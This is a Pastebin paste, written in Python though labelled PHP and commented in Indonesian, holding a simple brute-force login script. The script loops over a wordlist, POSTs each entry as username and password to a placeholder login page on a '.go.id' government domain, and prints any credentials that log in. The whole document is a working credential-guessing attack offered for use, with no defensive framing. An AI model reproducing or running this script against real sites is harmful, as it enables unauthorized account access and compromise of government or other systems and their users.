Advertisement
Guest User

SIMPEL Nge-Brute liontin

a guest
Apr 20th, 2019
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.03 KB | None | 0 0
  1. # SIMPEL Nge-Brute liontin
  2. # Tambahkan saja Sesuai keperluan
  3. import requests
  4. import sys
  5. import colorama
  6. from colorama import Fore, Back, Style
  7. colorama.init()
  8.  
  9. url = 'http://target.go.id/login.php' #target
  10. brute = open('wordlist.txt','r').readlines() #lokasi wordlist
  11.  
  12. for line in brute:
  13.     username = line.strip()
  14.     password = line.strip()
  15.     http = requests.post(url, data={'username':username,'password':password,'login':'submit'}) # post parameter
  16.     content = http.content
  17.  
  18.     if "Anda Sukses Login" in content:
  19.         print(Back.GREEN+  "SUKSES" + Style.RESET_ALL)
  20.  
  21.         print(Back.BLACK +"username: "+Fore.GREEN+""+username+"" + Style.RESET_ALL)
  22.         print(Fore.GREEN +"password: "+Fore.WHITE+" "+password+"" + Style.RESET_ALL )
  23.         sys.stdout.write('\n')
  24.         sys.stdout.flush()
  25.        
  26.        
  27.     else:
  28.         print(Back.CYAN + "GAGAL" + Style.RESET_ALL)
  29.  
  30.         print(Back.BLACK + "username: "+Fore.CYAN+""+username+"" + Style.RESET_ALL)
  31.         print(Fore.CYAN + "password: "+Fore.WHITE+""+password+"" + Style.RESET_ALL)
  32.         sys.stdout.write('\n')
  33.         sys.stdout.flush()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement